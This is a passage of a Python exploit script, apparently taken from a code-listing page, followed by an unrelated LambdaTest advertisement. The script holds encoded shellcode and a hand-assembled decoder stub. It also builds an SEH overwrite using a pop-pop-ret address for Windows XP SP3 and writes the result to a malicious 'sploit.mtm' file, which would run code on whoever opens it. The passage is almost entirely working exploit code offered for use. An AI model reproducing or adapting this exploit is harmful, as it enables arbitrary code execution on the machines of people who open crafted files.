("\x89\xe1\xda\xd7\xd9\x71\xf4\x5e\x56\x59\x49\x49\x49\x49\x43"22"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x56\x58\x34"23"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41"24"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58"25"\x50\x38\x41\x43\x4a\x4a\x49\x4d\x38\x4d\x59\x43\x30"26"\x43\x30\x45\x50\x43\x50\x4d\x59\x4b\x55\x56\x51\x58\x52\x43"27"\x54\x4c\x4b\x50\x52\x50\x30\x4c\x4b\x56\x32\x54\x4c\x4c\x4b"28"\x51\x42\x54\x54\x43\x42\x51\x38\x54\x4f\x58\x37\x51"29"\x5a\x56\x46\x50\x31\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c"30"\x43\x51\x43\x4c\x43\x32\x56\x4c\x47\x50\x4f\x31\x58\x4f\x54"31"\x4d\x58\x47\x5a\x42\x5a\x50\x51\x42\x50\x57\x4c\x4b"32"\x51\x42\x54\x50\x4c\x4b\x47\x32\x47\x4c\x45\x51\x4e\x30\x4c"33"\x4b\x47\x30\x43\x48\x4d\x55\x4f\x30\x43\x44\x50\x4a"34"\x4e\x30\x50\x50\x4c\x4b\x50\x48\x54\x58\x4c\x4b\x56\x38\x47"35"\x50\x43\x31\x4e\x33\x4b\x53\x47\x4c\x50\x49\x4c\x4b\x50\x34"36"\x4c\x4b\x43\x31\x49\x46\x50\x31\x4b\x4f\x49\x50\x4e"37"\x4c\x49\x51\x58\x4f\x54\x4d\x43\x31\x49\x57\x47\x48\x4b\x50"38"\x52\x55\x4b\x44\x43\x33\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x47"39"\x54\x54\x35\x4b\x52\x51\x48\x56\x38\x56\x44\x43\x31"40"\x49\x43\x43\x56\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x50\x58\x45"41"\x4c\x45\x51\x58\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x58\x50"42"\x4d\x59\x50\x44\x56\x44\x51\x4b\x51\x4b\x45\x31\x56"43"\x39\x50\x5a\x56\x31\x4b\x4f\x4d\x30\x56\x38\x51\x4f\x50\x5a"44"\x4c\x4b\x54\x52\x5a\x4b\x4d\x56\x51\x4d\x52\x48\x47\x43\x50"45"\x32\x43\x30\x52\x48\x52\x57\x52\x53\x50\x32\x51\x4f"46"\x51\x44\x52\x48\x50\x4c\x54\x37\x47\x56\x54\x47\x4b\x4f\x49"47"\x45\x4e\x58\x4c\x50\x45\x51\x43\x30\x43\x30\x56\x49"48"\x51\x44\x56\x30\x52\x48\x56\x49\x4d\x50\x52\x4b\x43\x30\x4b"49"\x4f\x58\x55\x50\x50\x50\x50\x50\x50\x50\x50\x51\x50\x56\x30"50"\x51\x50\x56\x30\x52\x48\x4b\x5a\x54\x4f\x4b\x50\x4b"51"\x4f\x49\x45\x4b\x39\x58\x47\x43\x58\x4f\x30\x4f\x58\x47\x51"52"\x54\x32\x45\x38\x45\x52\x43\x30\x54\x51\x51\x4c\x4c\x49\x5a"53"\x46\x52\x4a\x52\x30\x51\x46\x45\x38\x4d\x49\x4e\x45"54"\x43\x44\x45\x31\x4b\x4f\x58\x55\x45\x38\x43\x53\x52\x4d\x45"55"\x34\x45\x50\x4b\x39\x5a\x43\x56\x37\x56\x37\x50\x57\x56\x51"56"\x4c\x36\x52\x4a\x50\x59\x51\x46\x5a\x42\x4b\x4d\x45"57"\x36\x4f\x37\x51\x54\x47\x54\x47\x4c\x45\x51\x43\x31\x4c\x4d"58"\x51\x54\x56\x44\x52\x30\x49\x56\x43\x30\x51\x54\x51\x44\x56"59"\x30\x50\x56\x50\x56\x47\x36\x50\x56\x50\x4e\x50\x56"60"\x51\x46\x56\x33\x56\x36\x52\x48\x52\x59\x58\x4c\x47\x4f\x4c"61"\x46\x4b\x4f\x58\x55\x4d\x59\x4b\x50\x50\x4e\x50\x56"62"\x4b\x4f\x56\x50\x43\x58\x45\x58\x4b\x37\x45\x4d\x43\x50\x4b"63"\x4f\x58\x55\x4f\x4b\x4c\x30\x4f\x45\x4e\x42\x56\x36\x52\x48"64"\x4e\x46\x4c\x55\x4f\x4d\x4d\x4d\x4b\x4f\x47\x4c\x43"65"\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4d\x30\x43\x45\x43\x35"66"\x4f\x4b\x51\x57\x45\x43\x43\x42\x52\x4f\x43\x5a\x45\x50\x51"67"\x43\x4b\x4f\x58\x55\x45\x5a")68 69prepare_shellcode = "\x90" * 4070prepare_shellcode += "\x90\x33\xDB" # xor ebx,ebx71prepare_shellcode += "\x54\x5B" # push esp - pop ebx72prepare_shellcode += "\x81\xEB\x17\xCB\xFF\xFF" # sub ebx,-34E973prepare_shellcode += "\x83\xc3\x3B" # add ebx,3B74prepare_shellcode += "\x83\xEB\x22" # sub ebx,2275prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da76prepare_shellcode += "\x43" # inc ebx77prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da78prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F79prepare_shellcode += "\x83\xEB\x16" # sub ebx,1680prepare_shellcode += "\x90" * 681prepare_shellcode += "\x80\x2B\xC2" # sub byte ptr ds:[ebx],0c282prepare_shellcode += "\x43" # inc ebx83prepare_shellcode += "\x80\x2B\xBE" # sub byte ptr ds:[ebx],0be84prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F85prepare_shellcode += "\x83\xEB\x16" # sub ebx,1686prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c187prepare_shellcode += "\x43" # inc ebx88prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF89prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F90prepare_shellcode += "\x83\xEB\x16" # sub ebx,1691prepare_shellcode += "\x80\x2B\xC8" # sub byte ptr ds:[ebx],0c892prepare_shellcode += "\x43" # inc ebx93prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B994prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F95prepare_shellcode += "\x90" * 496prepare_shellcode += "\x83\xEB\x16" # sub ebx,1697prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA98prepare_shellcode += "\x43" # inc ebx99prepare_shellcode += "\x80\x2B\xD9" # sub byte ptr ds:[ebx],0D9100prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F101prepare_shellcode += "\x83\xEB\x16" # sub ebx,16102prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7103prepare_shellcode += "\x43" # inc ebx104prepare_shellcode += "\x80\x2B\xB9" # sub byte ptr ds:[ebx],0B9105prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F106prepare_shellcode += "\x83\xEB\x16" # sub ebx,16107prepare_shellcode += "\x80\x2B\xC1" # sub byte ptr ds:[ebx],0c1108prepare_shellcode += "\x43" # inc ebx109prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF110prepare_shellcode += "\x90" * 4111prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F112prepare_shellcode += "\x83\xEB\x16" # sub ebx,16113prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC114prepare_shellcode += "\x43" # inc ebx115prepare_shellcode += "\x80\x2B\xD6" # sub byte ptr ds:[ebx],0D6116prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F117prepare_shellcode += "\x83\xEB\x16" # sub ebx,16118prepare_shellcode += "\x80\x2B\xCA" # sub byte ptr ds:[ebx],0CA119prepare_shellcode += "\x43" # inc ebx120prepare_shellcode += "\x80\x2B\xDA" # sub byte ptr ds:[ebx],0da121prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F122prepare_shellcode += "\x83\xEB\x16" # sub ebx,16123prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4124prepare_shellcode += "\x43" # inc ebx125prepare_shellcode += "\x90" * 4126prepare_shellcode += "\x80\x2B\xB6" # sub byte ptr ds:[ebx],0B6127prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F128prepare_shellcode += "\x83\xEB\x16" # sub ebx,16129prepare_shellcode += "\x80\x2B\xC4" # sub byte ptr ds:[ebx],0c4130prepare_shellcode += "\x43" # inc ebx131prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB132prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F133prepare_shellcode += "\x83\xEB\x16" # sub ebx,16134prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7135prepare_shellcode += "\x43" # inc ebx136prepare_shellcode += "\x80\x2B\xD3" # sub byte ptr ds:[ebx],0D3137prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F138prepare_shellcode += "\x83\xEB\x16" # sub ebx,16139prepare_shellcode += "\x90" * 6140prepare_shellcode += "\x80\x2B\xBB" # sub byte ptr ds:[ebx],0BB141prepare_shellcode += "\x43" # inc ebx142prepare_shellcode += "\x80\x2B\xD8" # sub byte ptr ds:[ebx],0D8143prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F144prepare_shellcode += "\x83\xEB\x16" # sub ebx,16145prepare_shellcode += "\x80\x2B\xB7" # sub byte ptr ds:[ebx],0B7146prepare_shellcode += "\x43" # inc ebx147prepare_shellcode += "\x80\x2B\xD4" # sub byte ptr ds:[ebx],0d4148prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F149prepare_shellcode += "\x83\xEB\x16" # sub ebx,16150prepare_shellcode += "\x80\x2B\xBC" # sub byte ptr ds:[ebx],0BC151prepare_shellcode += "\x43" # inc ebx152prepare_shellcode += "\x80\x2B\xB4" # sub byte ptr ds:[ebx],0B4153prepare_shellcode += "\x90" * 6154prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F155prepare_shellcode += "\x83\xEB\x16" # sub ebx,16156prepare_shellcode += "\x80\x2B\xBF" # sub byte ptr ds:[ebx],0BF157prepare_shellcode += "\x43" # inc ebx158prepare_shellcode += "\x80\x2B\xD5" # sub byte ptr ds:[ebx],0D5159prepare_shellcode += "\x83\xc3\x3F" # add ebx,3F160prepare_shellcode += "\x83\xEB\x16" # sub ebx,16161prepare_shellcode += "\x80\x2B\xCC" # sub byte ptr ds:[ebx],0CC162prepare_shellcode += "\x43" # inc ebx163prepare_shellcode += "\x80\x2B\xC9" # sub byte ptr ds:[ebx],0C9164prepare_shellcode += "\x90"*305165 166nseh = "\xeb\x30\x90\x90"167seh = "\x3f\x28\xd1\x72" # 0x72D1283F - ppr - msacm32.drv - Windows XP SP3 EN168tail = "\x41" * 120169payload = header + nopsled + tail + nseh + seh + prepare_shellcode + shellcode + "\x90" * 100170 171file = open("sploit.mtm", "w")172file.write(payload)173file.close()174 ...
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!